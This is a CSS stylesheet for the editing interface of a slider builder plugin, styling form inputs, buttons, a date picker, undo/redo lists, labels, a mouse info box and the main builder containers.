#rb_tlw textarea {line-height: 17px;height:30px; box-sizing:border-box; font-size: 13px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: #2a2c2f; padding:5px 10px;}

#layer_action_extension_wrap textarea { height: 90px; }

#layer_action_type { cursor: pointer }
#layer_action_type i.material-icons { width: 30px !important; }
#layer_action_type input { pointer-events: none ;display: none}
#layer_action_type #layer_action_fake { width:185px; margin-bottom:10px; line-height: 30px;height: 30px;box-sizing: border-box;font-size: 13px;color: #b7bbc0;font-weight: 500;vertical-align: top;background: #2a2c2f;padding: 0px 10px; }

#layer_action_type:hover #layer_action_fake,
#layer_action_type:hover i.material-icons { color: #fff !important; }


#rb_tlw input[type=text]:hover,
#rb_tlw input[type=number]:hover,
#rb_tlw textarea:hover { color: #fff; }


#rb_tlw #form_template_skin .revbuilder-colorpicker.visible-cp-input { width: 120px; margin-left: 5px; margin-right: 5px; }
#rb_tlw #form_template_skin .revbuilder-colorpicker.visible-cp-input input{ width: 80px; }

#rb_tlw textarea.rsmaxtextarea { width: 100%; height: 180px; padding: 20px;box-sizing: border-box; color: #b7bbc0; font-size: 14px; line-height: 20px; }

#rb_tlw #form_slidergeneral_advanced_api_events textarea { margin-bottom: 25px; }

.fake_input { margin-bottom: 20px }

#rb_tlw input.nmarg { margin-bottom: 5px; }

#rb_tlw input[type=text].badvalue,
#rb_tlw input[type=number].badvalue { color:#f82c90;  }

#rb_tlw input[type=checkbox].simplechkbx { display: inline-block; vertical-align: top; line-height: 28px; border-radius: 3px; border: 1px solid #d4dce4; box-shadow: none; margin:4px 10px 0px 0px; background-color: #f3f7fa; width:20px;height:20px;}
#rb_tlw input[type=checkbox].simplechkbx:before { color: #1e8cbe;float: none;text-align: left;line-height: 25px;vertical-align: top;margin-left: -5px; }


#rb_tlw input[type=radio] {vertical-align: middle;line-height: 30px; width: 20px;height: 20px; border:none; box-shadow: none;margin:5px 10px 0px -2px;}

#rb_tlw .radiooption input[type=radio] { line-height: 25px; margin:5px 10px 0px -2px; vertical-align: top; opacity: 0; z-index: 2; position: absolute; border-radius: 0px; width:100%;}

#rb_tlw input[type=radio]:before { width:10px; height:10px; margin: 5px; }
#rb_tlw input[type=text].digit3,
#rb_tlw input[type=number].digit3 {width: 50px;}
#rb_tlw textarea {resize: none;}

#rb_tlw textarea.api_area { width: 100%; }

#rb_tlw #form_slidergeneral_advanced_api textarea.api_area { height: 0px !important; overflow: hidden; padding: 0px !important; position: absolute; }


#rb_tlw input.ralign { text-align: right; }


#rb_tlw  textarea.info {
    height: 56px;
    line-height: 16px;
    padding: 4px 5px;
    color: #8095a3;
    background: transparent;
    word-break: break-all;
    font-style: italic;
}

#rb_tlw  ::-webkit-input-placeholder  { color: #b7bbc0;}
#rb_tlw  ::-moz-placeholder            { color: #b7bbc0;}
#rb_tlw  :-ms-input-placeholder       { color: #b7bbc0;}
#rb_tlw  :-moz-placeholder            { color: #b7bbc0;}

#rb_tlw  input:hover::-webkit-input-placeholder  { color: #fff !important;}
#rb_tlw  input:hover::-moz-placeholder            { color: #fff !important; }
#rb_tlw  input:hover:-ms-input-placeholder       { color: #fff !important;}
#rb_tlw  input:hover:-moz-placeholder            { color: #fff !important;}

#rb_tlw  input:focus::-webkit-input-placeholder  { color: transparent !important;}
#rb_tlw  input:focus::-moz-placeholder            { color: transparent !important; }
#rb_tlw  input:focus:-ms-input-placeholder       { color: transparent !important;}
#rb_tlw  input:focus:-moz-placeholder            { color: transparent !important;}


#rb_tlw  input[type=radio]:before { background-color: #006dd2; width: 10px;height:10px; }
#rb_tlw  input[type=radio],
#rb_tlw  input[type=radio]:hover,
#rb_tlw  input[type=radio]:focus,
#rb_tlw  input[type=radio]:checked {  border:none;background: #2a2c2f;}

#rb_tlw  input[type=checkbox] { background-color: #222a34; border-color: #222a34; }
#rb_tlw  input[type=checkbox].simplechkbx:before{ color:#8095a3 }


#rb_tlw .__inmodal input[type=text],
#rb_tlw .__inmodal input[type=number],
#rb_tlw .__inmodal textarea {   display:block; width:100%;}

.radiooption { position: relative; box-sizing: border-box;display: inline-block; line-height: 25px }




#api_methods                  { position: relative }
#rb_tlw #api_methods textarea { height: auto; overflow-y: hidden }
#rb_tlw #api_methods .basic_action_button { position: absolute; float: none; right: 0px;  border: none; }
#rb_tlw #api_events .basic_action_button { border: none; }

/* DATE PICKER */
#ui-datepicker-div                      { padding:15px; background:#323438; border:none;z-index:1119999 !important;margin-left:-25px; color:#fff;    box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5);}
 #ui-datepicker-div,
 #ui-datepicker-div *     { -webkit-font-smoothing: antialiased;
                            -moz-osx-font-smoothing: grayscale;
                            -webkit-touch-callout: none;
                            text-rendering: optimizeLegibility; 
                            font-family: "Roboto";
                          }

.ui-datepicker-title                    { color: #777c80;font-size: 15px;display: block;text-align: center;margin-bottom: 10px; font-weight: 600; }
.ui-datepicker-header                   { font-size:15px;vertical-align: top; line-height:20px;}
#ui-datepicker-div .ui-icon             { text-indent: 0px;display: inline-block;margin-right: 15px;font-size: 12px;text-align: center; cursor: pointer;}

#ui-datepicker-div a,
#ui-datepicker-div a:visited { color: #777c80; }
#ui-datepicker-div a:hover { color: #006dd2; }

.ui-datepicker-prev.ui-corner-all     { float: left; }
.ui-datepicker-next.ui-corner-all     { float: right; }

.ui-datepicker-next.ui-corner-all .ui-icon.ui-icon-circle-triangle-e { margin-right: 0px !important; }

.ui-datepicker-calendar tbody                               { text-align: center;}
.ui-datepicker-calendar tbody .ui-state-default             { text-decoration: none;color:#777c80; font-weight:500; }
.ui-datepicker-calendar tbody .ui-datepicker-week-end .ui-state-default { text-decoration: none;color:#777c80; font-weight:500; }

.ui-datepicker-calendar tbody .ui-datepicker-unselectable.ui-state-disabled .ui-state-default { color: #777c80; opacity: 0.5; }

.ui-datepicker-calendar tbody .ui-state-default.ui-state-highlight    { text-decoration: none; font-weight: 500; color:#fff;  min-width:15px; display: inline-block;}


/* BUILDER BUTTONS BASICS */
#rb_tlw button { outline:none;border: none; background: #777; vertical-align:top; color: #fff; font-weight: 500; font-size: 12px; line-height: 28px; box-shadow: none; box-sizing: border-box; padding: 0px 10px; cursor: pointer; }
#rb_tlw button:hover { background-color: #555; }
#rb_tlw button:focus,
#rb_tlw button:visited { outline: none; box-shadow: none; }
#rb_tlw .form_opener_btn .material-icons,
#rb_tlw button .material-icons { margin-right: 5px; line-height: 28px;font-size: 16px; }

#rb_tlw labelhalf .material-icons { font-size: 20px; color: #777c80; }

#rb_tlw .material-icons.bpdevices { font-size: 25px; color: #777c80; margin-left: 15px; }

#rb_tlw .material-icons.big-mi { font-size: 40px; line-height: 50px }

#rb_tlw .form_opener_btn {background: #3e4a5a; line-height: 40px; font-size: 14px; font-weight: 400; color: #8095a3; padding:0px 15px; border-radius: 4px; margin-right: 6px; display:inline-block; cursor: pointer; margin-bottom: 10px;} 
#rb_tlw .form_opener_btn .material-icons { color: #8095a3; font-size:24px; line-height: 40px;}
#rb_tlw .form_opener_btn:hover,
#rb_tlw .form_opener_btn:focus,
#rb_tlw .form_opener_btn:visited,
#rb_tlw .form_opener_btn:hover .material-icons,
#rb_tlw .form_opener_btn:focus .material-icons,
#rb_tlw .form_opener_btn:visited  .material-icons{ color: #fff; background: #2a3441}

#slbpoints_overall onelong { position: relative; width: 80px;min-width: 80px;padding-right: 0px }
#slbpoints_overall label_icon.singlerow, 
#slbpoints_overall onelong label_icon:first-child { margin-left: 12px;  }

#rb_tlw #slbpoints_overall onelong input[type=text] { min-width: 66px !important; width:66px !important;}
#slbpoints_overall .bpdevices { margin-left: 13px !important; margin-right: 12px }
#slbpoints_overall label_a { width: 250px; text-align: left; font-size: 11px;}

#slbpoints_overall .tponoffwrap,
#slbpoints_overall .fake_on_button { margin-left: 10px !important }


.global_size_miniinfo { display: inline-block; margin-left: 5px}

.highlight_arrow { display: block; position: absolute; bottom: 5px;left: 25px; margin-left: -5px; width: 0;height: 0;border-style: solid;border-width: 5px 5px 0 5px;border-color: #006dd2 transparent transparent transparent; }

#screen_selector_ph_icon_sr { display: none; }

.toolbar_selector_icons .selected_placeholder,
#screen_selector_ph_icon_sr { width: 50px; height: 50px; line-height: 50px; background: #323438; color: #b7bbc0; font-size: 20px; text-align: center}

.toolbar_listelement,
.toolkit_selector,
.screen_selector {  clear: both; position:relative;display: block;line-height: 30px;  font-size: 13px;  color: #b7bbc0; cursor:pointer; min-width:250px;box-sizing: border-box; text-align: left; background:#2a2c2f; padding:0px 16px; white-space: nowrap}
.ssnotavailable, .screen_selector.selected {cursor: auto}

#redolist .toolbar_listelement { color: #777c80; }

.toolbar_selector_icons:hover .selected_placeholder i { color: #fff; }


#undo.toolbar_listelement,
#redo.toolbar_listelement {  background:#323438;}

.toolbar_listelement.no_rm,
.toolkit_selector.no_rm,
.screen_selector.no_rm { margin-right: 0px;}

.toolbar_listelement .material-icons,
.toolkit_selector .material-icons,
.screen_selector .material-icons {  font-size: 17px; line-height: 30px; margin-right:15px;}


#zoomer_wrap_toolbar.inzoommove .tool_dd_wrap,
.toolbar_selector_icons:hover .tool_dd_wrap { display: block;top: 50px; }


#undo.toolbar_listelement:hover,
#redo.toolbar_listelement:hover,
#redolist .toolbar_listelement:hover,
.toolbar_listelement:not(.disabled):hover,
.toolkit_selector:hover,
.screen_selector:hover { color: #fff; background:#3F444D; }

.toolbar_listelement.selected,
.toolkit_selector.selected,
.screen_selector.selected { color: #fff; background: #006dd2; }



.screen_selector .tponoffwrap { position:absolute; right:10px; margin-bottom: 0px !important;box-shadow: 0px 2px 4px 0px rgba(0,0,0,0.25); }


.shortcuttext { text-align:right;  line-height: 30px; color:inherit; display: inline-block; /*right:16px; position: absolute;*/ float: right; top:0px; font-size: 12px; /*width:35px;*/}
.shortcut_cmdctrl { line-height: 30px; color:inherit; display: inline-block; margin-right: 5px; font-size:12px;}
.osx .shortcut_cmdctrl  { font-size: 13px }

/* .osx.shortcuttext { width: 25px } */

.clipboard_wrap { vertical-align: top; margin-right: 35px; display: inline-block; margin-top: 5px; }


.basic_action_button_inactive { pointer-events: none !important; color:#777c80;}
.basic_action_button_inactive i { color: #777c80; }
#rbm_globalsettings_savebtn,
#rbm_configpanel_savebtn { 
    display: none;
     width: 375px;
    height: 50px;
    line-height: 50px;
    color: #fff;
    font-size: 15px;
    font-weight: 500;
    position: absolute;
    bottom: 0px;
    right: 0px;
    text-align: center;
    z-index: 10000;
    background: #006dd2;
    cursor: pointer; 
}

#rbm_globalsettings_savebtn { display: block; width:auto; padding:0px 20px;}

#rbm_globalsettings label_a a { color:#777c80; outline: none !important; box-shadow: none !important;}
#rbm_globalsettings label_a a:hover { color:#fff;}

._TPRB_ oneshort .basic_action_coloredbutton,
._TPRB_ oneshort  .basic_action_button { width: 105px; }

/* BUTTON EXTENSIONS FROM BASIC */

.basic_action_button.onlyicon { width: 30px; padding: 0px; text-align: center }
.basic_action_button.onlyicon i { margin-right: 0px }

.moretoseebutton.basic_action_button.onlyicon { position: absolute; top: 0px; left: 146px; line-height: 30px !important;vertical-align: top;top: 0px;color: #777c80;font-size: 14px !important;border-left: 1px solid #323438;width: 15px !important;height: 30px !important;text-align: center;background: #2a2c2f;border-radius: 0px 4px 4px 0px;cursor: pointer; }
 
 
 .basic_action_button.selected { /*background: transparent; color: #b7bbc0; border-color:#b7bbc0;*/}
 .basic_action_button.selected i { color: #fff; }

.rightfloat_action_button { float: right; margin-right: 0px }

.input_with_buttonextenstion .getVideoFromObjectLibrary.onlyicon { margin-left:2px;}

.next_previous_wizzard_steps .basic_action_coloredbutton,
.next_previous_wizzard_steps .basic_action_button,
.cancel_accept .basic_action_coloredbutton,
.cancel_accept .basic_action_button { margin-bottom: 0px; }  


.copy_clipboard_result {  display:none;font-size:14px; margin-left: 10px; line-height: 40px;}
.next_previous_wizzard_steps { position:absolute; bottom:0px; left:0px; line-height: 40px;z-index:10;}

.__inmodal .next_previous_wizzard_steps { left: 220px; }
.cancel_accept { position:absolute; bottom:0px; right:0px; line-height: 40px;z-index:10;}

.cancel_accept .close_and_accept { margin-left: 1px }

/* ADVANCED BUTTONS */

#rb_tlw .toolbar_btn> .icon_switcher >i.material-icons { font-size: 17px; line-height: 50px; opacity: 1; color:inherit;}
#rb_tlw .toolbar_btn> .icon_switcher {width:auto;height:auto;overflow:visible;}
#add_layer_toolbar_wrap { margin-right: 80px; }
#rb_tlw .layertoolbar_wrap .toolbar_btn i.material-icons.norightmargin { margin-right: 0px; }
#current_width_height i.material-icons { color: #236dd2; font-size: 17px;vertical-align:top;margin-right: 5px;font-weight: 500; }
#current_width_height { display: inline-block; }
#show_c_width, #show_c_height { color: #b7bbc0; font-size: 14px; margin-right: 20px; }


 #current_sel_display {width: 50px;margin: 0px;padding: 0px;min-width: 0px;display: inline-block;vertical-align:top;}

#slide_picker_wrap { max-width: 300px; }
#slide_picker_wrap #slidelist { max-height: 300px; position: relative; overflow: hidden; }
#slide_picker_wrap #slidelist.ps .rs__scrollbar-y-rail { right: auto !important; left: 0px !important; z-index:10; background: transparent !important}
#slide_picker_wrap #slidelist.ps .rs__scrollbar-y-rail .rs__scrollbar-y { background: #b7bbc0; opacity:0.3; width:7px !important;}

.toolbar_rightoriented .tool_dd_wrap { margin-left: -99px; }
.toolbar_rightoriented #toolkit_selector_wrap .tool_dd_wrap { margin-left: -49px; }
.toolbar_rightoriented #main_screenselector .tool_dd_wrap { margin-left: -149px; }

.visiblestep_main,
.lockstep_main { background: #323438 }

.outicon_dd_rwap .visiblestep,
.outicon_dd_rwap .lockstep { background:#2a2c2f }

.visiblestep_main.selected .hhb_a,
.visiblestep_main .hhb_b { display: none !important}
.visiblestep_main.selected .hhb_b { display: inline-block !important; }

/* UNDO REDO CONTAINER */
#undoredowrap { max-height: 225px; overflow: hidden;  position: relative}

.undo_redo_wrap .tool_dd_wrap:before { z-index:10; content: " "; position: absolute;right: 0px;top: 0px;width: 30px;height: 100%; background: linear-gradient(to right, rgba(41,44,46,0) 0%,rgba(41,44,46,1) 100%); z-index: 5 }
#undo,#redo { z-index: 20; }

.rb-modal-wrapper .rs__scrollbar-y-rail,
#undoredowrap .rs__scrollbar-y-rail { right: 0px;width: 12px; background: transparent !important; }
.rb-modal-wrapper .rs__scrollbar-y,
#undoredowrap .rs__scrollbar-y { background: #fff;
    width: 7px;
    border-radius: 7px;
    right: 5px !important;
    cursor: pointer;
    opacity: 0.15;
}

.rb-modal-wrapper .rs__scrollbar-x-rail {display: none !important}

#undolist,
#redolist   { margin: 0px;padding: 0px;list-style: none; }




/*SOURCE SELECTOR*/
.source_selector {  box-sizing: border-box;  display:inline-block; color: #b7bbc0; font-size: 17px; line-height: 31px; font-weight: 500; cursor: pointer; margin-right: 28px; vertical-align: top;}
.source_selector:hover,
.source_selector.selected {  color: #006dd2;  }


/* SUFFIX FOR INPUTS */
#rb_tlw .inputsuffix { line-height: 20px; display: inline-block; margin-left: -30px; font-size: 12px;color: #263d52;font-weight: 400; width:30px; border-left:1px solid #006dd2; box-sizing: border-box; text-align:center;}

#rb_tlw  .inputsuffix {color: #eee; border-left-color: #354151; line-height: 29px;}

.left_right_row { position: relative; height: 25px; }



/*ICON SWITCHER*/
#rb_tlw .icon_switcher,
#rb_tlw .icon_trigger { padding:0px 5px; height: 30px; overflow: hidden; position: relative; display: inline-block;  color:#b7bbc0; vertical-align: top; line-height: 25px !important; }
#rb_tlw .icon_trigger_wrap .icon_trigger,
#rb_tlw .icon_trigger_wrap .icon_switcher { height: 25px; background: #3a3e44; cursor: pointer; }

#rb_tlw .icon_trigger_wrap .icon_trigger:hover,
#rb_tlw .icon_trigger_wrap .icon_switcher:hover { color: #fff; }

#rb_tlw .icon_trigger i,
#rb_tlw .icon_switcher i { font-size: 17px; color: #b7bbc0; cursor: pointer;    }

#rb_tlw .icon_trigger_wrap .icon_trigger i,
#rb_tlw .icon_trigger_wrap .icon_switcher i { font-size: 16px !important; vertical-align: top; line-height: 25px !important; margin-right: 5px;  }

#rb_tlw #reset_lock_media_size_layer .icon_trigger_wrap .icon_switcher i,
#rb_tlw #reset_lock_media_size_layer .icon_trigger_wrap  .icon_trigger i { margin-right: 0px; }

#rb_tlw .icon_switcher .tponoffwrap { display: none; }

#rb_tlw .triggerselect.twostatetrigger,
#rb_tlw .icon_trigger:hover i,
#rb_tlw .icon_switcher i.icon_state_on { color: #b7bbc0; }

#rb_tlw .icon_trigger:hover i,
#rb_tlw .icon_switcher i.icon_state_on  { color: #fff; }

#rb_tlw .icon_switcher i.icon_state_on { display: none; }
#rb_tlw .icon_switcher i.icon_state_off { display: inline-block; }

#rb_tlw .icon_switcher.icsw_on i.icon_state_off { display: none; }
#rb_tlw .icon_switcher.icsw_on i.icon_state_on  { display: inline-block; }


#rb_tlw .triggerselect.twostatetrigger,
#rb_tlw oneabsolute .icon_switcher { background-color: #3a3e44; width: 35px; height: 35px; line-height: 35px; text-align: center; border-radius: 4px; font-size: 17px; cursor: pointer; padding:0px;}

#rb_tlw .triggerselect.twostatetrigger.selected,
#rb_tlw oneabsolute .icon_switcher.icsw_on { background-color: #006dd2; }

#rb_tlw oneabsolute .icon_switcher i                { line-height: 35px !important }
#rb_tlw oneabsolute .icon_switcher i.icon_state_on { color: #fff; }

#rb_tlw .triggerselect.twostatetrigger.selected,
#rb_tlw .triggerselect.twostatetrigger:hover,
#rb_tlw oneabsolute .icon_switcher:hover i { color: #fff; }

#rb_tlw .triggerselect.layer_rowposition_icons { margin-right: 5px; }

#rb_tlw .revbuilder-colorpicker {vertical-align: top;margin-bottom: 5px; line-height: 30px; background: #2a2c2f; box-sizing: border-box; padding:7px; width:30px;height:30px; border-radius: 3px; border:none;}
#rb_tlw .revbuilder-colorpicker .revbuilder-colorbox {  width:16px; height:16px; border:1px solid rgba(255,255,255,0.15); border-radius: 0px; vertical-align: top} 
#rb_tlw .revbuilder-colorpicker .revbuilder-colorbtn { display: none; }

#rb_tlw .revbuilder-colorpicker .visiblecolorfield { display: inline-block !important }



#rb_tlw onelong .revbuilder-colorpicker.revbuilder-cpicker-master-wrap.visible-cp-input { width: 67px; display: inline-block; position: relative}
#rb_tlw onelong .revbuilder-colorpicker.revbuilder-cpicker-master-wrap.visible-cp-input  input {     position: absolute;top: 7px;left: 23px;white-space: nowrap;overflow: hidden;width: 40px !important;min-width: 45px !important;  }



#form_nav_arrows_style .revbuilder-colorpicker .layerinput,
#form_nav_bullets_style .revbuilder-colorpicker .layerinput,
#form_nav_thumbs_style .revbuilder-colorpicker .layerinput,
#form_nav_tabs_style .revbuilder-colorpicker .layerinput,
#form_slide_nav_arrows .revbuilder-colorpicker .layerinput,
#form_slide_nav_bullets .revbuilder-colorpicker .layerinput,
#form_slide_nav_thumbs .revbuilder-colorpicker .layerinput,
#form_slide_nav_tabs .revbuilder-colorpicker .layerinput
 { /*display: none;*/ }


 #builderView.staticlayersview #form_slidebg {
  display: none !important
 }

 #builderView:not(.staticlayersview) #form_slidestatic {
  display: none !important;
 }

 #builderView:not(.staticlayersview) #form_staticlayerposition_basic { 
 display: none !important; 
}

/*********************************
   LABELS AND SECTION TITELS 
**********************************/
#video_id_wrap { position: relative }

longoption { display: block; border: 1px solid #3f444a; border-radius:3px; line-height: 38px; box-sizing: border-box; margin-bottom:5px;}

.material-icons.rcw { transform: rotate(90deg); }

.section_title {  font-size: 16px; line-height: 28px;font-weight: 500;color: #000;}
.setia { margin-bottom: 20px;}

.description,
label_info,
.label_info,
.function_info { color: #777c80;  font-size:14px; font-weight: 400; line-height: 20px; display:inline-block;}

.function_info a { color: inherit !important; }
.function_info a:hover { color: #fff !important; }

label_title,
.label_title { line-height: 28px;vertical-align: top;min-width: 180px;display: inline-block; cursor: default;color: #222;font-weight: 800;text-transform: uppercase;margin-bottom: 10px;font-size: 14px;}

label_value_info,
.label_value_info { line-height: 28px;vertical-align: top;min-width: 30px;display: inline-block; cursor: default;color: #222; text-align:center;font-weight: 800;text-transform: uppercase;margin-bottom: 10px;border-radius: 4px; padding: 0px 10px;font-size: 12px;}

label_sub, .label_sub,
label_short,.label_short,
label_a_left,.label_a_left,
label_a_right,.label_a_right,
xy_label,.xy_label,
label_full,.label_full,
label_a, .label_a { line-height: 17px; padding:7px 0px; vertical-align: top;display: inline-block; cursor: default;color: #222;font-weight: 500;  margin-bottom: 0px;font-size: 12px;color:#777c80; width:80px; text-align: right;margin-right:15px; overflow: hidden; white-space: nowrap}
label_sub, .label_sub { text-align: left; margin-right: 0px; width: auto;  }

#layer_with_action_wrap label_a { width: 120px; }
#action_inputs label_a { width: 140px; }

#rb_tlw .radiooption label_sub,
#rb_tlw .radiooption .label_sub { line-height: 25px; vertical-align: top; padding: 2px 0px 0px; z-index:0; padding-left: 30px; position: relative; cursor: pointer;}

#rb_tlw .radiooption label_sub:before, 
#rb_tlw .radiooption .label_sub:before { content: " "; width:20px;height:20px; background:#2a2c2f; position: absolute;left:0px;top:5px; border-radius: 100%; box-sizing: border-box; border:5px solid #2a2c2f;}

#rb_tlw input[type=radio]:checked + label_sub { color: #fff !important; }
#rb_tlw input[type=radio]:checked + label_sub:before { background: #006dd2;  }

label_full,.label_full { width: 100%;display: block;  text-align: left}

#form_slidergeneral_advanced_api label_full,
#form_slidergeneral_advanced_api .label_full { width: 235px; display: inline-block; }





xy_label,
.xy_label {  width: auto; display: inline-block; text-align: left; min-width: 30px; margin-right: 3px}

.__inmodal label_short,
.__inmodal .label_short,
.__inmodal label_a_left,
.__inmodal .label_a_left,
.__inmodal label_a_right,
.__inmodal .label_a_right,
.__inmodal label_a,
.__inmodal .label_a { display: block; width: 100%; text-align: left; }

label_a span { line-height: 17px; display: inline-block; margin-top: 4px; }


label_b,
.label_b { line-height: 28px;vertical-align: top; display: inline-block; cursor: default;margin-right: 20px;}

label_x,
.label_x {line-height: 28px;vertical-align: top;  display: inline-block; cursor: default;margin-right: 15px;}

 

label_center,
.label_center {line-height: 14px;vertical-align: top;  display: inline-block; cursor: default; font-size:12px; text-transform: uppercase; display: block; text-align: center; margin-bottom: 10px; letter-spacing: 1px;}

.labelunderline { color: #414448; border-bottom:1px solid #4a4c4e; margin-bottom:28px; text-transform: uppercase; font-size: 14px; font-weight: 700; line-height: 20px; padding-bottom: 10px; letter-spacing: 3px}


label_a.auto,
.label_a.auto  { min-width:auto; margin-right: 15px}


label_a.long,
.label_a.long { min-width: 250px; }

label_a.halflong,
.label_a.halflong { min-width: 150px; }

longoption label_a { min-width: 150px; text-align: left; margin-left: 15px;vertical-align: top; line-height: 38px; padding: 0px; margin-right: 10px; }
longoption label_a.longlabellength { min-width: 220px }

longoption i.material-icons { color: #b7bbc0; font-size: 20px; margin-left: 15px; vertical-align: top; line-height:38px;}
longoption .tponoffwrap, 
longoption .fake_on_button { margin: 9px 10px 0px 0px;  float:right;}

.verticaldiv {  width:100%;height:1px;border-top:1px solid #3e4a5a ;margin-bottom:10px;}

 
/* EXTRA GROUP SETTINGS */
label_title,
.label_title { color: #bcc9d2; }

label_value_info,
.label_value_info { color: #b7bbc0; background:#2a2c2f; }

label_short,
.label_short  { min-width: 22px; width:22px; max-width: 22px; text-align: left; margin-right:0px;}

label_a_left,
.label_a_left   { min-width: 230px; width:230px; max-width: 230px; text-align: center; margin-right:0px;}
label_a_right,
.label_a_right   { min-width: 60px; width:60px; max-width: 60px;text-align: center;margin-right:0px;}

label_b,
.label_b { color: #bcc9d2; }

label_x,
.label_x { color: #bcc9d2; }

label_center { color:#8095a3;  }


oneshort label_a,
oneshort .label_a { max-width: 25px;box-sizing: border-box; margin-right: 10px}

onethird label_a,
onethird .label_a { min-width: 28px; max-width: 28px; }

oneabsolute { position: absolute; left: 0px;top: 10px; width: 80px; }



.verticaldiv { border-color: #3e4a5a; margin-top: 10px; margin-bottom: 10px }


#slide_ddd_depth_info { margin-bottom: 0px; }

/** LIGHT MAIN LABELS **/

.space_to_left { margin-left: 10px; }
.space15 { display: inline-block; width: 15px;height: auto; line-height: inherit; vertical-align: top; }

#selected_slide_source { text-transform: capitalize; margin-right: 5px; display:inline-block;}


/** BREAK POINTS */
.bpoints_wrap { vertical-align: bottom;  line-height: 50px;}

.input_left,
.input_right { display: inline-block; vertical-align: top; width:65px;}
.input_middle {display: inline-block; vertical-align: top; font-weight: 500; font-size: 17px; line-height: 27px; margin:0px 10px 0px 0px;}

.auto_dimension_la { display: none; }

/*****************************
  -   MOUSE INFO BOX  -
******************************/
#mouseInfoBox { position:absolute; z-index:101000;white-space:nowrap;background: #222a34; color: #fff; font-weight: 300; font-size: 11px; padding: 5px 5px; line-height: 13px; display: none;border-radius: 4px; pointer-events: none}
#mouseInfoBox .mouselabel { min-width:5px; position: relative; display: inline-block; color: #8095a3;line-height: 12px; margin-right: 5px; vertical-align: top}

#mouseInfoBox.purplemouseinfo { height:auto; background: #5e35b1; color:#fff; }
#mouseInfoBox.purplemouseinfo .mouselabel { color: #fff; }


.mouse_info_coor { width: 40px; height: 24px; display: inline-block; margin-right: 5px; vertical-align: top; line-height: 12px; }
#mouseInfoBox.purplemouseinfo .mouse_frame_label  {color: #fff; font-size:12px; line-height: 12px; font-weight: 600; vertical-align: top; margin-bottom: 2px}

.mouse_frame_label {  font-size: 13px;line-height: 23px; font-weight: 600 }
.mouse_info_align { width: 27px; height: 24px; display: inline-block;  vertical-align: top; margin-top: 0px; }
.mia_tl,.mia_tc,.mia_tr,
.mia_ml,.mia_mc,.mia_mr,
.mia_bl,.mia_bc,.mia_br { width: 6px; height: 6px; display: inline-block;margin-right: 3px; margin-bottom: 3px; background: #3f444a; float:left;}

.mia_tr,.mia_mr, .mia_br { margin-right: 0px; }
.mia_bl,.mia_bc,.mia_br { margin-bottom: 0px; }

.top.left .mia_tl,
.top.center .mia_tc,
.top.right .mia_tr,
.middle.left .mia_ml,
.middle.center .mia_mc,
.middle.right .mia_mr,
.bottom.left .mia_bl,
.bottom.center .mia_bc,
.bottom.right .mia_br { background: #006dd2 }


/********************************
  - MAIN CONTAINERS -
*********************************/
#builderView                {  position: fixed;top:0px;left:0px;width:100%;height:100%;background:#111; overflow: hidden;}

#the_container              { display: block;width: 100%;height: 100%;position: absolute;top: 0px;left: 0px;min-width: 1071px}
#builder_header             { background:#006dd2; line-height: 70px; margin-top:20px;min-height: 70px;padding:0px 20px;}
#builder_header_navigation  { background:#0b5fab; min-height: 70px; line-height: 70px; margin-bottom: 20px }




#rb_editor_logo { display: inline-block; height:50px;line-height: 50px;  vertical-align: middle; /*padding:0px 15px; */ }
#rb_editor_logo i.material-icons { font-size: 20px; color: #b7bbc0; transform: rotate(180deg); }


.main_mode_selector { cursor:pointer; display: block; height:50px;line-height: 25px; background:#3f444a; vertical-align: middle; padding: 10px; box-sizing: border-box; color:#777c80; font-size: 13px; margin-bottom:0px; width:25%;float:left; text-align: center; /*border-bottom:1px solid #323438;*/}
.main_mode_selector:first-child { border-left: none; }
.main_mode_selector i.material-icons { font-size: 25px; display: block !important; text-align: center; margin:5px 0px 3px;}
.main_mode_selector:hover { color: #b7bbc0; background: #3f444a; } 

.main_mode_breadcrumb_wrap,
#mmbw_loptions  { border-bottom: 1px solid #323438; padding: 15px; background: #202224; }
.main_mode_submode  { color: #777c80; font-size: 14px; font-weight: 900; line-height: 26px;  text-align: center; text-transform: uppercase}

.main_mode_submode.left  { float: left; }
.main_mode_submode.right { float: right; }

.main_mode_submode.blue { background: #006dd2; color: #fff; padding: 0px 6px; border-radius: 4px; font-size: 13px;line-height: 23px;margin-top:2px;}
.main_mode_submode.lila { background: #5e35b1; color: #fff; padding: 0px 6px; border-radius: 4px; font-size: 13px;line-height: 23px;margin-top:2px;}

#stylemode_layeroption,
#hovermode_layeroption,
#animationmode_layeroption { display: none; }

.mmbw_idle #stylemode_layeroption           { display: block; }
.mmbw_hover #hovermode_layeroption          { display: block;}
.mmbw_animation #animationmode_layeroption  { display: block; }


#glob_settings_header,
#glob_slide_selector_header { border: 1px solid #d8e1e9; margin-bottom: 30px;border-radius: 4px; background:#fff;}

/* FAKE CAROUSELS */
#fake_carousel_elements { position: absolute; z-index: 0; }
.fakecarouselslide { position: absolute; box-sizing: border-box; background:rgba(120,140,165,1);}


#slide_settings,
#layer_settings,
#timeline_settings   { display: none; }

#rev_builder_wrapper { position: relative; background: #111111; box-sizing: border-box; width:100%;height:100%;}

#rev_builder        { box-sizing: border-box;width: 100%; height: 100%; background:url(../images/medium_pattern_2x.png); background-size:16px 16px; background-repeat: repeat; display:block;position:absolute; overflow: hidden; }
#rev_builder *      { box-sizing: border-box; }

#layout_slide       { width:100%;height:100%;position: absolute;top:0px;left:0px;z-index:2;}

#rev_slider_ul { opacity: 0 }
#rev_slider_ul,
#rev_slider_inbuild   { z-index:3;width: 100%; height: auto; /* KRIKI HEIGHT AUTO !? */ display: block; /*background:#2a3441;*/; position:relative;margin:auto;}
#rev_slider_ul_inner {  width:100%;height:100%;overflow:hidden;position: absolute; display:block; top:0px;left:0px;perspective: 1200px; transform-style: flat; }

#rev_builder>.ui-resizable-e { width: 4px;right: -4px;background: #999; display: block; }
#rev_builder>.ui-resizable-e:after  { content: " "; height: 50px;width: 10px;top: 50%;margin-top: -25px; position: absolute;left: 0px;background: #888; border-radius: 0px 4px 4px 0px; }
#rev_builder>.ui-resizable-e:hover,
#rev_builder>.ui-resizable-e:hover:after{ background:#006dd2; }
#layer_grid                { z-index:5;width: 100%; height: auto; display: block; position: absolute; background:rgba(255,255,255,0.85);margin:auto;box-sizing: border-box; opacity: 0; pointer-events: none}
#layer_grid.hovered .ui-resizable-handle:hover { background: rgba(23,141,247,0.5); }
#layer_grid .ui-resizable-s {  bottom: 0px; }
#layer_grid .ui-resizable-n {  top:0px; }
#layer_grid .ui-resizable-w {  left:0px; }
